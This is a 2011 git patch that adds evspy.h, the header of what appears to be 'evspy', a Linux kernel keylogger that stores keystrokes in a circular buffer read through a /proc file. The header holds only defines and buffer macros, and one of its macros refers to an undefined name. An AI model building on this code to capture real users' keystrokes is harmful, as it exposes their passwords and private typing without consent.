From 0984403a3dccd78faf0ce790ca7929927cc07349 Mon Sep 17 00:00:00 2001
From: Guillermo Ramos
Date: Fri, 9 Sep 2011 16:26:08 +0200
Subject: First github commit

---
 evspy.h | 71 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 71 insertions(+)
 create mode 100644 evspy.h

(limited to 'evspy.h')

diff --git a/evspy.h b/evspy.h
new file mode 100644
index 0000000..3df0c9e
--- /dev/null
+++ b/evspy.h
@@ -0,0 +1,71 @@
+#include <asm/page.h>
+#include <linux/input.h>
+#include "maps.h"
+
+#define EVS_NAME		"evspy"			// driver name
+#define EVS_MAP			map_es			// change this to your keyboard layout
+#define EVS_TROLL		1				// clear this if you're a serious guy
+#define EVS_BUFSIZE		PAGE_SIZE		// size of the circular buffer (4K)
+#define EVS_PROCNAME	"driver/" EVS	// virtual file within /proc
+
+#define MIN(x, y)	(x) < (y) ? (x) : (y)
+
+/*
+ * If pointer is at the end of buffer, put it at the beginning.
+ * If not, simply add 1 to it.
+ */
+#define evs_incp(p)		\
+({		\
+	if (p == &buffer[EVS_BUFSIZE-1])		\
+		p = buffer;		\
+	else		\
+		p++;		\
+ 	p;		\
+})
+
+/*
+ * Same as evs_incp but backwards
+ */
+#define evs_decp(p)		\
+({		\
+	if (p == buffer)		\
+		p = &buffer[EVS_BUFSIZE-1];		\
+	else		\
+		p--;		\
+ 	p;		\
+})
+
+/*
+ * Insert character c where wrp is pointing and move it to the next char.
+ * If rdp == wrp, increase rdp too.
+ */
+#define evs_insert(c)		\
+({		\
+	*wrp = c;		\
+	if (evs_incp(wrp) == rdp)		\
+		evs_incp(rdp);		\
+})
+
+/*
+ * Remove a character from the buffer
+ */
+#define evs_delete()		\
+({		\
+	if (wrp != rdp && evs_decp(wrp) == rdp)		\
+		evs_decp(rdp);		\
+})
+
+/*
+ * Is the c event code associated to any of the FX buttons?
+ */
+#define evs_isfX(c)		\
+({		\
+	(c >= KEY_F1 && c <= KEY_F10) ||		\
+	(c == KEY_F11 || c == KEY_F12) ||		\
+	(c >= KEY_F13 && c <= KEY_F24);		\
+})
+
+// Event values
+#define	EVS_VAL_FREE		0
+#define	EVS_VAL_PRESS		1
+#define	EVS_VAL_HOLD		2
-- 
cgit v1.2.3